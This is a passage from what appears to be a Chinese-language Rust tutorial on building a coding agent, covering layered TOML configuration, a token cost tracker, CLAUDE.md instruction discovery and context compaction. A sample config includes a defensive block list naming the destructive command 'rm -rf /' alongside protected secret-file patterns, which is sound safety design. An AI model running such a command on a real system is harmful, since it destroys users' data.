#[serde(default = "default_model")] 属性告诉 serde,TOML 输入中缺少 model 字段时调用 default_model()。这让部分配置文件得以工作。只设置了 blocked_commands 的项目配置仍然能反序列化为完整的 Config——每个省略的字段都获得默认值。

默认为"空"的字段(Option<String>Vec<String>)用更简单的 #[serde(default)],它调用 Default::default()——Option 对应 None,集合对应空 Vec

ConfigDefault 实现与这些函数完全对应:

#![allow(unused)]
fn main() {
impl Default for Config {
    fn default() -> Self {
        Self {
            model: default_model(),
            base_url: default_base_url(),
            max_context_tokens: default_max_tokens(),
            preserve_recent: default_preserve_recent(),
            allowed_directory: None,
            protected_patterns: Vec::new(),
            blocked_commands: Vec::new(),
            instructions: None,
        }
    }
}
}

同时拥有 Default 实现和 serde 默认值是有意为之的。Config::default() 在代码中使用——构造基础配置、在合并逻辑中与默认值比较。#[serde(default = "...")] 属性在反序列化时使用。两者必须保持一致,共享同一套命名函数来保证这一点。


overlay:区分"未设置"与"设置为默认值"

写合并函数前,需要一种方式回答 Config 本身无法回答的问题:这个字段是否真的在 TOML 文件中被设置了?

一种自然的第一尝试是"将 overlay 值与 Config::default() 比较——如果不同,说明被设置了。"这个启发式是错的,无法区分两种不同情况:

  1. 用户没有在 TOML 中设置该字段。
  2. 用户确实设置了该字段,但值恰好等于默认值。

情况 2 并非假设。如果默认 model"anthropic/claude-sonnet-4-20250514",而用户在用户配置中明确写了 model = "anthropic/claude-sonnet-4-20250514" 来断言它(无论项目如何覆盖),"与默认值比较"的启发式会默默地把它当作"未设置",保留前一层的值。最后写入者获胜的原则被违反了。

解决方案是在类型系统中编码"已设置"与"未设置"。引入第二个结构体——ConfigOverlay——其字段为 Option<T>。Serde 将缺失的 TOML 键反序列化为 None,将存在的键反序列化为 Some(value),不需要值比较。

#![allow(unused)]
fn main() {
#[derive(Debug, Clone, Default, Deserialize)]
#[serde(default)]
pub struct ConfigOverlay {
    pub model: Option<String>,
    pub base_url: Option<String>,
    pub max_context_tokens: Option<u64>,
    pub preserve_recent: Option<usize>,
    pub allowed_directory: Option<String>,
    pub protected_patterns: Option<Vec<String>>,
    pub blocked_commands: Option<Vec<String>>,
    pub instructions: Option<String>,
}
}

结构体级别的 #[serde(default)] 告诉 serde,TOML 输入中缺少的任何字段回退到 Default::default()——而 Option<T>Default::default()None。这正是我们想要的"键缺失 → None"映射,无需逐个字段注解。

两个结构体扮演互补角色。Config 是完全解析的输出:每个字段都有值,下游所有人读取时无需关心值是如何得到的。ConfigOverlay 是传输格式:相同形状的部分可选视图,仅在合并层时使用。

即使是 Vec<T> 字段也变成了 Option<Vec<T>>。这很重要——TOML 中设置 protected_patterns = [] 的 overlay 意味着"清空列表",与"根本没有提到列表"不同。Option<Vec<T>> 能清晰表示两种情况,裸 Vec<T> 则不能。

合并逻辑

有了 overlay,合并变得统一:overlay 中的每个 Some(_) 替换基础配置中对应的字段,每个 None 保持基础配置不变。

#![allow(unused)]
fn main() {
pub fn merge(base: Config, overlay: ConfigOverlay) -> Config {
    Config {
        model: overlay.model.unwrap_or(base.model),
        base_url: overlay.base_url.unwrap_or(base.base_url),
        max_context_tokens: overlay.max_context_tokens.unwrap_or(base.max_context_tokens),
        preserve_recent: overlay.preserve_recent.unwrap_or(base.preserve_recent),
        allowed_directory: overlay.allowed_directory.or(base.allowed_directory),
        protected_patterns: overlay.protected_patterns.unwrap_or(base.protected_patterns),
        blocked_commands: overlay.blocked_commands.unwrap_or(base.blocked_commands),
        instructions: overlay.instructions.or(base.instructions),
    }
}
}

两种模式覆盖所有字段:

  • unwrap_or(base.x) 用于 Config 中持有具体值的字段(如 Stringu64Vec<String>)。overlay 有 Some(v) 时结果是 v,否则保留基础值。
  • .or(base.x) 用于 Config 上已经是 Option<T> 的字段(allowed_directoryinstructions)。Option::or 返回找到的第一个 Some(_)

合并逻辑就这些。没有值比较,没有每字段的特殊情况。后来的层设置某字段时总是获胜,不管值是否与默认值一致、是否与前一层相同,或是否为空。

集合:替换,而非追加

overlay 设置了 protected_patternsblocked_commands 时,其值完全替换基础配置。追加的方式意味着每层都向列表中添加内容,无法移除来自较低层的条目。替换让每个提到该字段的层都能完全控制其内容。

考虑这样的场景:项目层保护 .env.secret,而用户配置也设置了 protected_patterns = [".credentials"]。替换策略意味着只有 .credentials 受保护——项目的模式消失了。因为项目配置先加载(优先级最低),用户配置后加载(优先级更高),用户配置的模式替换了项目的模式。对大多数设置而言这是合理的——用户比项目作者更了解自己的环境。

想要追加语义,可以用扩展集合的方式:

#![allow(unused)]
fn main() {
// Append(我们不这样做):
if let Some(extra) = overlay.protected_patterns {
    base.protected_patterns.extend(extra);
}
}

Claude Code 根据字段不同支持两种策略。我们的实现保持简单,只用替换,而 overlay 的 Option<Vec<T>> 类型使"层没有提到此字段"与"层明确将其设置为空列表"保持区别。


ConfigLoader:组装各层

ConfigLoader 编排完整的合并流水线:

#![allow(unused)]
fn main() {
pub struct ConfigLoader {
    project_dir: Option<PathBuf>,
}

impl ConfigLoader {
    pub fn new() -> Self {
        Self { project_dir: None }
    }

    pub fn project_dir(mut self, dir: impl Into<PathBuf>) -> Self {
        self.project_dir = Some(dir.into());
        self
    }

    pub fn load(&self) -> Config {
        let mut config = Config::default();

        // Layer 1: Project config (.claw/config.toml)
        if let Some(ref dir) = self.project_dir {
            let project_path = dir.join(".claw").join("config.toml");
            if let Some(overlay) = Self::load_file(&project_path) {
                config = Self::merge(config, overlay);
            }
        }

        // Layer 2: User config (~/.config/mini-claw/config.toml)
        if let Some(user_dir) = dirs::config_dir() {
            let user_path = user_dir.join("mini-claw").join("config.toml");
            if let Some(overlay) = Self::load_file(&user_path) {
                config = Self::merge(config, overlay);
            }
        }

        // Layer 3: Environment variables (highest priority)
        config = Self::apply_env(config);

        config
    }
}
}

构建器模式让调用方可以选择指定项目目录。在真实 agent 中,这是用户调用工具时的工作目录。在测试中,这是临时目录。

加载顺序很重要

load() 从最低优先级到最高优先级依次应用各层:

  1. Config::default() 开始——绝对基线。
  2. 合并项目配置(.claw/config.toml)——项目特定覆盖。
  3. 合并用户配置(~/.config/mini-claw/config.toml)——用户范围偏好。
  4. 应用环境变量——最终覆盖。

每次合并以当前累积的配置作为基础,以新层作为 overlay。非默认的 overlay 值替换基础值。用户配置优先于项目配置,环境变量优先于一切。

dirs::config_dir() 调用用 dirs crate 查找平台适当的配置目录——Linux 上是 ~/.config,macOS 上是 ~/Library/Application Support,Windows 上是 %APPDATA%。Linux 上遵循 XDG 基础目录规范,其他平台遵循各自的平台惯例。

加载单个文件

#![allow(unused)]
fn main() {
pub fn load_file(path: &Path) -> Option<ConfigOverlay> {
    let content = std::fs::read_to_string(path).ok()?;
    toml::from_str(&content).ok()
}
}

两行,两个可能的失败点,都用 .ok()? 处理:

  1. 文件可能不存在——read_to_string 返回 Err.ok() 转换为 None? 返回 None
  2. 文件可能包含无效 TOML——toml::from_str 返回 Err,同样的链式处理。

注意返回类型是 Option<ConfigOverlay> 而非 Option<Config>。加载器特意解析为部分类型——这是 merge 后来知道文件实际提到了哪些字段的方式。

返回 Option<_> 而非 Result<_, Error> 是有意为之的。缺失的配置文件不是错误——是正常情况。大多数用户不会有用户配置文件,大多数项目不会有 .claw/config.toml。加载器应该静默跳过缺失的文件并应用默认值。无效的 TOML 可以说值得报告,但为了简单起见我们同样处理。生产实现会在解析失败时记录警告,同时仍回退到默认值。

toml crate 处理反序列化。因为 ConfigOverlay 上的每个字段都是带 #[serde(default)]Option<T>,只设置一个字段的 TOML 文件也能干净地解析——其他字段都变成 None

# 这是有效的配置文件:
model = "anthropic/claude-haiku-3-20250414"

这会反序列化为 model: Some(...) 且其他所有字段为 NoneConfigOverlaymerge 应用它时,只有 model 在基础配置上被修改。

环境变量覆盖

#![allow(unused)]
fn main() {
fn apply_env(mut config: Config) -> Config {
    if let Ok(model) = std::env::var("MINI_CLAW_MODEL") {
        config.model = model;
    }
    if let Ok(url) = std::env::var("MINI_CLAW_BASE_URL") {
        config.base_url = url;
    }
    if let Ok(tokens) = std::env::var("MINI_CLAW_MAX_TOKENS") {
        if let Ok(n) = tokens.parse::<u64>() {
            config.max_context_tokens = n;
        }
    }
    config
}
}

环境变量是最简单的层——没有文件,没有解析,没有合并逻辑。变量存在时,其值替换该字段;不存在时,字段保持不变。

只有三个字段支持环境变量:modelbase_urlmax_context_tokens。这些是 CI 和脚本场景中最常被覆盖的字段。blocked_commandsprotected_patterns 等安全字段被有意排除——不希望被攻破的环境变量禁用安全规则。

注意 MINI_CLAW_MAX_TOKENS 的双重解析:先用 std::env::var 获取字符串,再用 .parse::<u64>() 转换为数字。字符串不是有效整数时,解析静默失败,保留现有值。不会崩溃,没有错误消息。这是处理环境变量的正确行为——MINI_CLAW_MAX_TOKENS=abc 中的拼写错误不应该使 agent 崩溃。


CostTracker:了解你的花费

每次 LLM API 调用都要花钱。成本取决于两个因素:发送了多少 token(输入)以及模型生成了多少 token(输出)。不同模型的定价差异很大——Claude Sonnet 大约每百万输入 token 3 美元、每百万输出 token 15 美元,Haiku 则便宜了一个数量级。

编程 agent 每次会话会进行多次 API 调用。复杂任务可能跑 20-30 个工具调用轮次,每次都发送完整的对话历史。没有追踪,根本不知道一次会话花了 0.02 美元还是 2.00 美元。CostTracker 在整个会话中累积 token 计数并计算运行成本。

#![allow(unused)]
fn main() {
pub struct CostTracker {
    input_tokens: u64,
    output_tokens: u64,
    turn_count: u64,
    input_price_per_million: f64,
    output_price_per_million: f64,
}
}

五个字段。前三个是随每次 API 调用增长的累积器,后两个是根据模型定价在构建时设置的常量。

构建

#![allow(unused)]
fn main() {
impl CostTracker {
    pub fn new(input_price_per_million: f64, output_price_per_million: f64) -> Self {
        Self {
            input_tokens: 0,
            output_tokens: 0,
            turn_count: 0,
            input_price_per_million,
            output_price_per_million,
        }
    }
}
}

调用方提供定价。Claude Sonnet 用 CostTracker::new(3.0, 15.0),Haiku 用 CostTracker::new(0.25, 1.25)。这将追踪器与特定模型的知识分离——它只计算 token 并乘以费率。

记录使用量

#![allow(unused)]
fn main() {
pub fn record(&mut self, usage: &crate::types::TokenUsage) {
    self.input_tokens += usage.input_tokens;
    self.output_tokens += usage.output_tokens;
    self.turn_count += 1;
}
}

每次 provider 响应后调用。TokenUsage 结构体(来自第 4 章)携带每次请求的 token 计数,追踪器累积并递增轮次计数器。

注意 record 接受 TokenUsage 的引用而非所有权。调用方通常将使用量附加在 AssistantTurn 上,不应为了记录成本而放弃它。

计算成本

#![allow(unused)]
fn main() {
pub fn total_cost(&self) -> f64 {
    let input_cost = self.input_tokens as f64 * self.input_price_per_million / 1_000_000.0;
    let output_cost = self.output_tokens as f64 * self.output_price_per_million / 1_000_000.0;
    input_cost + output_cost
}
}

直接的算术运算。输入 token 乘以每百万 token 的输入价格,除以一百万;输出同理;两者相加。结果以美元为单位。

100 个输入 token(3 美元/M)和 50 个输出 token(15 美元/M)的会话:

input:  100 * 3.0  / 1,000,000 = 0.0003
output:  50 * 15.0 / 1,000,000 = 0.00075
total:                           0.00105

即 0.00105 美元——大约十分之一美分。典型的交互式会话花费 0.05 到 0.50 美元,具体取决于复杂性和模型选择。

摘要格式化

#![allow(unused)]
fn main() {
pub fn summary(&self) -> String {
    format!(
        "tokens: {} in + {} out | cost: ${:.4}",
        self.input_tokens,
        self.output_tokens,
        self.total_cost()
    )
}
}

生成类似 "tokens: 5000 in + 1000 out | cost: $0.0300" 的字符串。四位小数提供亚分精度。TUI 会在状态栏中显示这个——对本次会话花费的持续提醒。

重置

#![allow(unused)]
fn main() {
pub fn reset(&mut self) {
    self.input_tokens = 0;
    self.output_tokens = 0;
    self.turn_count = 0;
}
}

将累积器清零,但保留定价。在同一会话中开始新的逻辑任务时很有用,或者在多对话 agent 中做每次对话的成本追踪。

访问器方法

追踪器通过只读方法暴露累积器:

#![allow(unused)]
fn main() {
pub fn total_input_tokens(&self) -> u64 { self.input_tokens }
pub fn total_output_tokens(&self) -> u64 { self.output_tokens }
pub fn turn_count(&self) -> u64 { self.turn_count }
}

UI 和日志系统可以读取状态而无需修改。字段本身是私有的——修改它们的唯一方式是通过 record()reset(),保持记账一致性。


综合运用:示例配置文件

项目的 .claw/config.toml 可能的样子:

model = "anthropic/claude-sonnet-4-20250514"
max_context_tokens = 100000

protected_patterns = [".env", "*.lock", "secrets/*"]
blocked_commands = ["rm -rf /", "git push --force"]

instructions = "Always run cargo fmt after editing Rust files."

用户的 ~/.config/mini-claw/config.toml

model = "anthropic/claude-sonnet-4-20250514"
base_url = "https://my-proxy.example.com/v1"

两者都存在时,加载器这样合并:

  1. 默认值 — 所有字段获得默认值。
  2. 项目配置解析为 ConfigOverlay,文件中提到的键(modelmax_context_tokensprotected_patternsblocked_commandsinstructions)各有一个 Some(_)merge 将每个应用到基础配置。
  3. 用户配置解析为 overlay,modelbase_url 各有一个 Some(_)。即使其 model 值恰好与默认值相同,这也不再重要——overlay 说该字段被设置了,所以它替换项目的值。base_url 同样替换默认值。
  4. 环境 — 设置了 MINI_CLAW_MODEL 的话,覆盖一切。

最终配置拥有项目的安全规则、用户的模型和代理 URL,以及其余字段的默认值。每层只贡献它知道的内容,不需要重复它不关心的内容;某层设置的值恰好与默认值一致时,也不会被静默忽略。


Claude Code 的实现方式

Claude Code 有类似的 4 层层级:项目设置、用户设置、环境、默认值。细节上有些值得关注的差异。

格式。 Claude Code 用 JSON(settings.jsonsettings.local.json)而非 TOML。JSON 对 Web 开发者(Claude Code 的主要受众)更熟悉,并与 TypeScript 自然集成。我们用 TOML,因为它是 Rust 生态系统标准——每位 Rust 开发者每天都在读 Cargo.toml

合并复杂度。 Claude Code 支持按键覆盖策略。某些字段追加(权限规则在层间累积),某些替换(模型名称),某些使用首次写入语义(项目指令优先于相同键的用户指令)。我们的合并逻辑只用一种策略:overlay 设置的每个字段替换基础值,包括集合。更简单,但涵盖了常见情况。

成本追踪。 Claude Code 按模型追踪成本,支持缓存感知定价。API 报告 cache_read_tokens 时,这些 token 以较低费率计费(通常比普通输入 token 便宜 90%)。我们的 CostTracker 忽略缓存,对所有输入 token 一视同仁。添加缓存感知定价意味着扩展 record() 以接受 cache_read_tokens 并应用单独的费率,但架构不会改变。

验证。 Claude Code 在加载时验证设置——未知键产生警告,类型不匹配产生错误。我们的 load_file 静默丢弃无法解析的文件。生产实现会进行验证并报告。

尽管有这些差异,分层架构是相同的。设置从通用(默认值)流向特定(环境),每层覆盖前一层。Config 结构体是整个 agent 的单一真相来源,传给每个需要了解如何运作的子系统。


测试

运行测试:

cargo test -p mini-claw-code-starter config  # Config, ConfigLoader
cargo test -p mini-claw-code-starter cost_tracker  # CostTracker

注意:Config 和 ConfigLoader 测试在 config 中(沿用 V1 编号,配置是第 16 章)。CostTracker 测试在 cost_tracker 中(V1 token 追踪章节)。

关键配置测试(config):

  • test_config_default_configConfig::default() 产生预期的模型、token 限制和非空安全默认值。
  • test_config_load_from_toml — 包含 modelmax_context_tokens 的 TOML 字符串正确反序列化。
  • test_config_default_fills_missing_fields — 只有 model 的 TOML 文件仍然获得 preserve_recentinstructions 等的默认值。
  • test_config_load_nonexistent_path — 从不存在的路径加载返回 None 而不是崩溃。
  • test_config_mcp_server_config — MCP server 配置通过 TOML 正确往返。
  • test_config_hooks_config — 钩子配置(命令、工具模式、超时)从 TOML 反序列化。
  • test_config_env_override — 设置 MINI_CLAW_MODEL 环境变量覆盖已加载配置中的模型。
  • test_config_protected_patterns_default — 默认配置在受保护模式中包含 .env.git/**

关键成本追踪器测试(cost_tracker):

  • test_cost_tracker_empty_tracker — 新追踪器从零 token、零回合、零成本开始。
  • test_cost_tracker_record_single_turn — 记录一个回合递增输入/输出 token 和回合计数器。
  • test_cost_tracker_accumulates_across_turns — 三次 record() 调用正确累积总计。
  • test_cost_tracker_cost_calculation — 以 3 美元/15 美元每百万计,100 万输入 + 100 万输出 token = 18.00 美元。
  • test_cost_tracker_cost_small_numbers — 1000 个输入 + 200 个输出 token = 0.006 美元。
  • test_cost_tracker_summary_formatsummary() 产生预期的 "tokens: N in + N out | cost: $X.XXXX" 格式。
  • test_cost_tracker_resetreset() 将累积器清零但保留定价。

核心要点

分层配置让每一层(默认值、项目、用户、环境)只贡献它知道的内容。把形状拆分为完全解析的 Config 和部分 ConfigOverlay(字段为 Option<T>)将"该字段是否被设置?"这个问题放入类型系统:None 意味着文件没有提到它,Some(v) 意味着提到了——不管 v 是什么。合并只有一条规则:每个 Some(_) 替换基础值。


回顾

本章构建了 agent 其余部分依赖的两个子系统。

  • Config 在单个结构体中保存每个可配置参数。Serde 的 #[serde(default)] 属性使部分 TOML 文件工作——只设置想要更改的内容。

  • ConfigOverlayConfig 的部分对应物:每个字段都是 Option<T>None 表示字段未在该层中设置,Some(v) 表示已设置——即使 v 恰好等于默认值,也能保持区别。

  • ConfigLoader 实现 4 层合并流水线:默认值、项目配置、用户配置、环境变量。每个文件层被解析为 ConfigOverlay 并以单一规则应用:每个 Some(_) 替换基础值。

  • CostTracker 在会话中累积 token 使用量并根据每百万 token 定价计算估算成本。summary() 方法产生 TUI 显示的单行状态字符串。

  • 合并策略是关键设计决策。在类型系统中编码"已设置与未设置"(而非从值猜测)保证了最后写入者获胜,并使显式重置——清空列表、重新断言默认值——正确工作。

  • 环境变量被有意限制为三个字段。blocked_commandsprotected_patterns 等安全关键设置应来自已检入版本控制或明确管理的配置文件,而非可能被操纵的环境变量。


下一步

配置告诉 agent 如何运作。第 18 章——项目指令——告诉它知道什么Config 中的 instructions 字段只是个字符串。指令系统从项目树中读取 CLAUDE.md 文件,将它们与用户指令合并,并注入系统提示词。设置和指令共同使 agent 具有情境感知能力——它根据每个项目调整行为和知识。

自我检测


← 第 16 章:Plan 模式 · 目录 · 第 18 章:项目指令 →

第 18 章:项目指令与上下文管理

需要编辑的文件: src/context.rs 运行的测试: cargo test -p mini-claw-code-starter instructions(InstructionLoader)、cargo test -p mini-claw-code-starter context_manager(ContextManager) 预计时间: 40 分钟

本章收尾了两个让 agent 长会话稳定运行的关键模块:

  • InstructionLoader(第 8 章已实现)通过向上遍历文件系统发现 CLAUDE.md 文件。本章重新审视它,看清楚它的输出如何在会话启动时注入到对话中。
  • ContextManager(本章新增)在 token 预算耗尽时对旧轮次进行摘要,将对话保持在模型的上下文窗口以内。这是需要你填写实现的部分。

第 17 章加入了 Config,一套分层配置体系。其中一个字段是 instructions: Option<String>——用户可以放在 TOML 配置文件中并注入到系统提示词的自定义文本。

本章将三者串联起来。agent 由此变得项目感知(从 /home/user/project/backend 启动与从 /home/user/other 启动会加载不同的 CLAUDE.md 文件),同时变得会话持久(20 轮的调试会话不会撞上上下文限制)。

cargo test -p mini-claw-code-starter instructions  # InstructionLoader
cargo test -p mini-claw-code-starter context_manager  # ContextManager

目标

  • 理解 InstructionLoader 的输出和 Config.instructions 如何在会话启动时作为系统消息注入。
  • 实现 ContextManager::record,使每轮的 token 用量累计到运行总数中。
  • 实现 ContextManager::compact,在预算耗尽时用 LLM 生成的摘要替换消息历史的中间部分,同时完整保留系统提示词和最近的消息。
  • 理解为什么系统提示词(包含发现的 CLAUDE.md 内容)必须在压缩时保持不变——它是 LLM 每轮都需要的那条消息。

会话级流水线

完整流程如下。会话启动时,指令被发现并推入消息历史。会话过程中,ContextManager 监测 token 用量,在预算耗尽时压缩历史的中间部分。

  ┌─────────────────────────────┐
  │  Filesystem                 │      (at session start)
  │                             │
  │  /home/user/CLAUDE.md       │──┐
  │  /home/user/project/        │  │
  │    CLAUDE.md                │──┤  InstructionLoader::discover()
  │    backend/                 │  │  walks upward, collects paths
  │      CLAUDE.md              │──┤
  │      .claw/instructions.md  │──┘
  └─────────────────────────────┘
              │
              ▼
  ┌─────────────────────────────┐
  │  InstructionLoader::load()  │
  │  concatenates with headers  │
  │  and --- separators         │
  └─────────────────────────────┘
              │
              ▼
  ┌─────────────────────────────┐
  │  messages[0] = System(      │      (injected once, never edited)
  │    "# Instructions from ... │
  │     <concatenated CLAUDE>"  │
  │  )                          │
  └─────────────────────────────┘
              │
              ▼  (agent loop: User → Assistant → ToolResult → ...)
              │
  ┌─────────────────────────────┐
  │  ContextManager             │      (runs after every turn)
  │                             │
  │  .record(usage)             │  ← accumulate input + output tokens
  │  .should_compact()          │  ← tokens_used >= max_tokens?
  │                             │
  │  On trigger:                │
  │    keep  messages[0]        │  ← the system/instructions message
  │    ask   provider to        │
  │          summarise middle   │  ← LLM call with the old transcript
  │    keep  last N messages    │
  │                             │
  │  Result: short history,     │
  │  same system prompt.        │
  └─────────────────────────────┘

两点需要注意。

指令在会话内是稳定的。 只加载一次,成为第一条系统消息,之后不再修改。从不同目录启动会得到不同的 messages[0],但会话一旦开始,指令内容就固定了。用户通常不会在聊天过程中编辑 CLAUDE.md。

上下文管理是会话级的,不是提示词级的。 压缩不是在"系统提示词"中插入新段落,而是通过对中间部分进行摘要来重写消息历史。系统提示词(携带你的指令)被有意排除在压缩之外——它始终是锚点。


重新审视 InstructionLoader

第 8 章已经构建过它了。现在在实际流水线中使用,重新审视代码,设计决策在上下文中会更加清晰。

结构体

#![allow(unused)]
fn main() {
pub struct InstructionLoader {
    file_names: Vec<String>,
}
}

加载器不硬编码要查找哪些文件,接受文件名列表,default_files() 将列表设为 ["CLAUDE.md", ".claw/instructions.md"]。这意味着测试时可以换不同的文件名,或者不修改加载器就能添加项目特定的替代文件。

#![allow(unused)]
fn main() {
impl InstructionLoader {
    pub fn new(file_names: &[&str]) -> Self {
        Self {
            file_names: file_names.iter().map(|s| s.to_string()).collect(),
        }
    }

    pub fn default_files() -> Self {
        Self::new(&["CLAUDE.md", ".claw/instructions.md"])
    }
}
}

发现:向上遍历

flowchart BT
    A["/home/user/project/backend/"] -->|check for CLAUDE.md| B["/home/user/project/"]
    B -->|check for CLAUDE.md| C["/home/user/"]
    C -->|check for CLAUDE.md| D["/home/"]
    D -->|check for CLAUDE.md| E["/"]

    A -.->|"found: backend/CLAUDE.md"| F["Collected paths<br/>(reversed to root-first)"]
    B -.->|"found: project/CLAUDE.md"| F
    C -.->|"found: user/CLAUDE.md"| F

discover() 从给定目录开始,向文件系统根目录方向遍历。在每个目录中检查列表中的每个文件名:

#![allow(unused)]
fn main() {
pub fn discover(&self, start_dir: &Path) -> Vec<PathBuf> {
    let mut found = Vec::new();
    let mut dir = Some(start_dir.to_path_buf());

    while let Some(current) = dir {
        for name in &self.file_names {
            let candidate = current.join(name);
            if candidate.is_file() {
                found.push(candidate);
            }
        }
        dir = current.parent().map(|p| p.to_path_buf());
    }

    found.reverse(); // Root-first order
    found
}
}

末尾的 found.reverse() 是关键的设计选择。遍历自然地从最具体到最通用收集文件(起始目录在前,根目录在后),反转后变成从根目录到具体目录的顺序。

三个层级都有 CLAUDE.md 文件时,discover("/home/user/project/backend") 返回的向量为:

[0] /home/user/CLAUDE.md               ← global preferences
[1] /home/user/project/CLAUDE.md       ← project conventions
[2] /home/user/project/backend/CLAUDE.md ← subdirectory rules

全局偏好排在最前面,最具体的规则排在最后。LLM 读取系统提示词时,最后出现的指令影响力最强——与 CSS 优先级原则相同:通用规则在前,覆盖规则在后。

加载:读取、过滤、拼接

load() 调用 discover(),读取每个文件,拼接结果:

#![allow(unused)]
fn main() {
pub fn load(&self, start_dir: &Path) -> Option<String> {
    let paths = self.discover(start_dir);
    if paths.is_empty() {
        return None;
    }

    let mut sections = Vec::new();
    for path in &paths {
        if let Ok(content) = std::fs::read_to_string(path) {
            let content = content.trim().to_string();
            if !content.is_empty() {
                sections.push(format!(
                    "# Instructions from {}\n\n{}",
                    path.display(),
                    content
                ));
            }
        }
    }

    if sections.is_empty() {
        None
    } else {
        Some(sections.join("\n\n---\n\n"))
    }
}
}

三个细节:

标题。 每个文件的内容前加上 # Instructions from <path>,告诉 LLM 每个块来自哪里,帮它解决不同层级之间的矛盾。

分隔符。 文件之间用 \n\n---\n\n 连接——markdown 中的水平线,为 LLM 在指令块之间提供清晰的边界。

跳过空文件。 CLAUDE.md 存在但为空或只有空白字符时,静默跳过。在空段落上浪费上下文 token 毫无意义。

返回 None 找不到指令文件,或者全部为空,load() 返回 None 而不是 Some(""),让调用方可以完全跳过添加指令段落。


指令层级

指令可以来自多个来源。完整层级结构,从最宽泛到最具体:

Source                              Priority    Section type
──────────────────────────────────────────────────────────────
/home/user/CLAUDE.md                lowest      file (root-first)
/home/user/project/CLAUDE.md        ↓           file
/home/user/project/backend/CLAUDE.md ↓          file
.claw/instructions.md               ↓           file (alternative)
Config.instructions                 highest     config

基于文件的指令由 InstructionLoader 发现,按从根到子目录的顺序排列。基于配置的指令来自 Config 结构体的 instructions 字段——从 .claw/config.toml~/.config/mini-claw/config.toml 加载。

两者都成为系统提示词中的动态段落。文件指令先添加,配置指令后添加。LLM 从上到下读取提示词,冲突时配置指令拥有最终话语权。

为什么要有两个来源?

CLAUDE.md 文件提交到版本控制,代表项目所有成员共享的团队约定。"用 cargo test 运行测试。""不要修改自动生成的文件。""使用 edition 2024。"

配置指令是本地的。放在 .claw/config.toml(可能提交也可能不提交)或用户主目录的配置文件(从不提交)。它们代表个人偏好或临时覆盖。"始终解释你的推理过程。""本次会话专注于性能而非可读性。"


关键 Rust 概念:用 if let 链式处理可选流水线步骤

连接代码用 if let Some(instructions) = loader.load(...) 条件性地添加段落。这是 Rust 中处理可选流水线步骤的惯用写法:InstructionLoader::load() 返回 Option<String>——不存在指令文件时返回 None,存在时返回 Some(text)if let 绑定解构 Option,只在有值时执行主体。类似地,Config.instructionsOption<String>if let Some(ref inst) = config.instructions 只在配置有指令时才添加段落。提示词构建器永远不会添加空段落——系统提示词的长度恰好是所需的长度。


将它们连接在一起

会话启动是 InstructionLoaderConfig.instructions 相遇的地方。两者最终都成为对话开头的系统消息:

#![allow(unused)]
fn main() {
let loader = InstructionLoader::default_files();
let mut messages: Vec<Message> = Vec::new();

// File-based instructions (CLAUDE.md, root-first).
if let Some(instructions) = loader.load(Path::new(cwd)) {
    messages.push(Message::System(instructions));
}

// Config-based instructions get the last word.
if let Some(ref inst) = config.instructions {
    messages.push(Message::System(inst.clone()));
}
}

Message::System 是本书通篇用于 agent 指令的变体。两个来源都成为历史开头的系统消息,按优先级排列:全局 → 项目 → 子目录 → 配置。LLM 从上到下读取,出现分歧时后面的消息覆盖前面的。

本书不维护结构化的"提示词构建器"来将身份 / 安全 / 环境 / 指令作为命名段落跟踪。生产级 agent(如 Claude Code)会这样做:详见下方的侧边栏。本章剩余内容的重点是:指令现在位于 messages 的开头,agent 循环不会再次触及它们。

侧边栏:生产级 agent 中的提示词构建器(概念性)

Claude Code 和类似的 agent 将系统提示词分成命名段落——身份、安全、工具 schema、环境、指令——并以缓存边界将列表一分为二。边界以上的内容在各轮中保持稳定,可以被 provider 标记为可缓存;边界以下的内容可以变化,每轮重新发送。

示意图(starter 中不包含此内容):

# identity, safety, tool schemas       ← cached prefix, stable across turns
# ──── cache boundary ─────────
# environment, instructions            ← dynamic suffix, may change

这种设计在成本和延迟上有实际收益:长而稳定的前缀只处理一次,可以复用。starter 没有显式建模这一点,因为我们的 Message::System 消息已经存放在一个列表中;provider 侧的缓存(若已实现)可以以该列表的前缀为键。

本章剩余部分聚焦于 starter 实际建模的内容:会话运行较长时,保持对话足够短以适应上下文窗口。这个任务属于 ContextManager


ContextManager:压缩算法

starter 的 ContextManager 位于 src/context.rs,有三项职责:

  1. 追踪 token 用量record):将每次 provider 调用的输入 + 输出 token 累加到运行计数器中。
  2. 决定何时行动should_compact):计数器达到配置的预算时返回 true
  3. 按需重写历史compact):将旧消息折叠为 LLM 生成的单条摘要,同时保留锚点。

结构体

#![allow(unused)]
fn main() {
pub struct ContextManager {
    max_tokens: u64,
    preserve_recent: usize,
    tokens_used: u64,
}
}

两个旋钮,一个状态。

  • max_tokens — 软限制。tokens_used 达到它时触发压缩。设置在模型硬上下文限制以下留有余量,以便在缩减之前还有空间完成下一轮。
  • preserve_recent — 压缩时保持不变的尾部消息数量。这些消息携带即时的对话上下文——最后一个用户轮次、刚刚发出的工具调用、即将推理的工具结果。对它们摘要会破坏下一轮。
  • tokens_used — 运行总数,每次 provider 调用后由 record 更新。

记录与触发

record 很简单——只是累加:

#![allow(unused)]
fn main() {
pub fn record(&mut self, usage: &TokenUsage) {
    self.tokens_used += usage.input_tokens + usage.output_tokens;
}
}

should_compact 与预算比较:

#![allow(unused)]
fn main() {
pub fn should_compact(&self) -> bool {
    self.tokens_used >= self.max_tokens
}
}

agent 循环在每次 provider 调用后调用 record,然后调用 maybe_compact,后者只在达到阈值时才调用 compact。实际上压缩很少发生:大多数轮次都在预算以内,什么也不做。

压缩:头部 + 摘要 + 尾部

compact 将消息历史分成三个切片:

messages = [ head        | middle        | recent          ]
           <-- keep ---->|<-- summarise->|<-- keep intact ->
  • head — 开头的 Message::System(如果存在)。这是 CLAUDE.md 派生指令所在的地方,始终保留。
  • middle — head 与最后 preserve_recent 条消息之间的所有内容,是被摘要的部分。
  • recent — 最后 preserve_recent 条消息,始终保留。

middle 被渲染为紧凑的对话记录("User: ...""Assistant: ..."" [tool: name]"" Tool result: <preview>"),连同简短指令("用 2-3 句话摘要,保留关键事实和决策")一起发送给 provider,结果成为一条合成系统消息:Message::System("[Conversation summary]: ...")

重建后的向量为 [head, summary, ...recent]。40 条消息的对话折叠为大约 1 + 1 + preserve_recent 条消息。

/= 3 token 重置

压缩之后,不重新分词就无法确切知道新历史使用了多少 token。但我们知道新历史比旧历史短得多,继续按压缩前的总量累积会立即触发另一次压缩。粗略的代理:

#![allow(unused)]
fn main() {
self.tokens_used /= 3;
}

